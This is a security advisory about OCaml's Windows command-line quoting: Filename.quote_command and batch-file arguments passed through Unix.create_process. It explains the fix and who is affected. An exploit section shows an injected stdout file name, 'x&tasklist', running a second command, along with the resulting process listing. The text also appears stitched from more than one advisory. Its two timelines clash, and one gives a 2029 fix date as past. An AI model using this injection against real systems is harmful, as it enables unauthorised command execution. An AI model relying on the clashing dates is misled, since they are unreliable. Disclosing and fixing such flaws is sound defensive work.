CVE-2026-41083

ANT-2026-R7FKP7RG Win32 quote_cmd_filename misses pipe/redirect metacharacters

ANT-2026-SRZZ62SD Windows batch-file argument injection via maybe_quote/make_cmdline

ANT-2026-JPEWMPAB Win32 argument quoting leaves embedded CR/LF unescaped

Also includes the fix for OSEC-2026-05

Filename.quote_command returns a quoted command line, suitable for use as an argument to Sys.command, Unix.system, and the Unix.open_process functions. However on Windows certain characters weren't properly escaped.

Unix.create_process can invoke .bat or .cmd programs on Windows, and certain characters were accepted that cannot be quoted safely.

Fix

Filename.quote_command has been updated to correctly quote arguments. Unix.create_process* has been updated to reject arguments that cannot be safely quoted by raising Failure:

if the program [prog] is a [.bat] or [.cmd] script and either [prog] or [args] contain characters that cannot be securely passed to a script, such as [" | & , ; < = > ^ % "]. If you really need to pass these characters to a script, consider using {!Unix.system} instead.

Am I affected?

If you use Filename.quote_command on Windows with user supplied arguments. If you use Unix.create_process* or Unix.open_process* on Windows with .bat or .cmd programs, and user supplied arguments.

Timeline

• 2026-08-24: vulnerability was found
• 2026-08-27: forwarded report to [email protected]
• 2029-09-05: fix merged to trunk

The quoting of stdin/stdout/stderror (using Filename.quote_command) on Windows is not sufficient, and allows the & character to be passed through. This allows an attacker to inject a shell command if they can specify the stdin/stdout/stderr of a program to be executed.

Exploit

$ opam exec -- ocaml
OCaml version 4.14.2
Enter #help;; for help.

# let outfile = "x&tasklist" in
  let cmd = Filename.quote_command "netsh.exe" ~stdout:outfile ["help"] in
  ignore (Sys.command cmd)
  ;;

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0        168 K
Secure System                  236 Services                   0    191,468 K
Registry                       276 Services                   0      3,428 K
smss.exe                       608 Services                   0      1,676 K
csrss.exe                      984 Services                   0      5,928 K

Timeline

• 2026-06-18 release of this security advisory
• 2026-06-15 release of OCaml 4.14.4
• 2026-06-08 fix by David Allsopp https://github.com/ocaml/ocaml/pull/14853
• 2026-04-11 reported by Anil Madhavapeddy, forwarded from Andrew Nesbitt to [email protected]